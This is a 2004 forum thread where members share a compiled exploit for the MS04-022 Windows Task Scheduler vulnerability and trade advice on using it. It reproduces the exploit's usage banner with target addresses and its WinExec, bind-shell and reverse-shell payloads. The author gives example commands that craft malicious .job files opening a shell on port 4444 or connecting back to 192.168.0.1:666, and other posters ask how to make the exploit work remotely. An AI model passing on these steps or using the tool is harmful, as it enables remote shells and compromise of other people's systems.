Forums: Ms04-022 Task Scheduler Exploit - Forums

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

Ms04-022 Task Scheduler Exploit by ScriptGod

#1 User is offline   studnikov 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 151
  • Joined: 13-August 03

Posted 27 July 2004 - 01:58 AM

It seems like alot of people had problems compiling this.
I didn't so i thought i would post it for the ones who did.

Thanks to ScriptGod for the code.

Compiling...
MS04-022ScriptGod.cpp

MS04-022ScriptGod.obj - 0 error(s), 0 warning(s)

Linking...

MS04-022ScriptGod.exe - 0 error(s), 0 warning(s)

Attached File(s)


0

#2 Guest_z-man_*

  • Group: Guests

Posted 27 July 2004 - 02:00 AM

10q very much

but on what port that exploit work :unsure: 445? :unsure:
0

#3 User is offline   The Storm 

  • Sergeant
  • Icon
  • Group: Members
  • Posts: 200
  • Joined: 25-December 03

Posted 27 July 2004 - 02:11 AM

thank ya 2 downloads 2 reypls *g*
0

#4 User is offline   nuorder 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 574
  • Joined: 01-April 04

Posted 27 July 2004 - 03:10 AM

z-man, on Jul 27 2004, 08:00 PM, said:

10q very much

but on what port that exploit work  :unsure: 445?  :unsure:

come on man be serious

its local unless you specify a port for the shell
0

#5 User is offline   ivan288 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 115
  • Joined: 17-October 03

Posted 27 July 2004 - 03:41 AM

usage: new <TargetID> <PayloadID> <OutputJobFile> < <Command> | <BindPort> | <IP
> <Port> >

TargetID Name EIP
----------------------------------------------------------
0 Windows XP SP0+1 GER 0x76e21a21
1 DoS Windows XP ALL 0xffffffff

PayloadID Name
--------------------------
0 WinExec
1 BindShell
2 ReverseShell

any help onm how to use this. i mean what u put in for command for example.
0

#6 User is offline   ivan288 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 115
  • Joined: 17-October 03

Posted 27 July 2004 - 03:51 AM

i tried:
exploit.exe 0 1 k.bat 6666 127.0.0.1

its suppose to make a k.bat file with bindshell on port 6666.
what i does it creates k.bat in the same directory. Bu then it doesnt open the shell even when i click on the .bat.
not sure what i am doin wrong.
0

#7 User is offline   Coktailcrazy 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 22
  • Joined: 20-August 03

Posted 27 July 2004 - 04:02 AM

nice work to compile this!! gonna test it out!
0

#8 User is offline   thorel 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 43
  • Joined: 24-September 03

Posted 27 July 2004 - 04:12 AM

Nice job man, sweet
0

#9 User is offline   nuorder 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 574
  • Joined: 01-April 04

Posted 27 July 2004 - 04:25 AM

ivan288, on Jul 27 2004, 09:51 PM, said:

i tried:
exploit.exe 0 1 k.bat 6666 127.0.0.1

its suppose to make a k.bat file with bindshell on port 6666.
what i does it creates k.bat in the same directory. Bu then it doesnt open the shell even when i click on the .bat.
not sure what i am doin wrong.

instead of k.bat you should have k.job, it is sometimes a good idea to read the main article on a vulnerability before you try to use it

Quote

How could an attacker exploit this vulnerability?
There are many ways that a system could be vulnerable to this attack. Here are some examples:


An attacker could host a malicious Web site that is designed to exploit this vulnerability through Internet Explorer and then persuade a user to view the Web site.


An attacker could add a specially crafted .job file to the local file system or to a network share and then persuade the user to view the folder by using Windows Explorer.


An attacker could also access the affected component through another vector. For example, an attacker could log on to the system interactively or by using another program that passes parameters to the vulnerable component (locally or remotely).

from the microsoft site www.microsoft.com/technet/security/bulletin/MS04-022.mspx
0

#10 User is offline   DrDoc 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 44
  • Joined: 30-November 03

Posted 27 July 2004 - 07:02 AM

Thx 4 the compiled Version :) i have tested it to compile it.. with the result im a noob :D

25 Downloads :( and just a few replys.. very poor :(

BIG THX ;)

Cya Doc
0

#11 Guest_ScriptGod_*

  • Group: Guests

Posted 27 July 2004 - 07:37 AM

- first the TagetID (there are only german atm)
- second the ID of the payload yo wanna use
- the output file (must be .job)
- paramter of the payload

examples:

- winexec (runs notepad.exe)
job.exe 0 0 C:\test.job notepad.exe

- bindshell (target binds a shell on port 4444)
job.exe 0 1 C:\test.job 4444

- reverseshell (target connects to 192.168.0.1:666)
job.exe 0 2 C:\test.job 192.168.0.1 666
0

#12 User is offline   The Storm 

  • Sergeant
  • Icon
  • Group: Members
  • Posts: 200
  • Joined: 25-December 03

Posted 27 July 2004 - 08:15 AM

is this a local exploit? cause there isn't a remoteadress required ?!?
0

#13 Guest_ScriptGod_*

  • Group: Guests

Posted 27 July 2004 - 08:29 AM

The Storm, on Jul 27 2004, 04:15 PM, said:

is this a local exploit? cause there isn't a remoteadress required ?!?

yes mainly local. because it requires user interacticty
0

#14 User is offline   =k3Rn= 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 158
  • Joined: 17-September 03

Posted 27 July 2004 - 09:25 AM

hm thats a pitty :)
0

#15 User is offline   The Storm 

  • Sergeant
  • Icon
  • Group: Members
  • Posts: 200
  • Joined: 25-December 03

Posted 27 July 2004 - 11:47 PM

hm when i use this exploit my explorer.exe crashes :) is there a chance to make this exploit a remote exploit or can the Vulnerability only be used local ?!?
0
  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting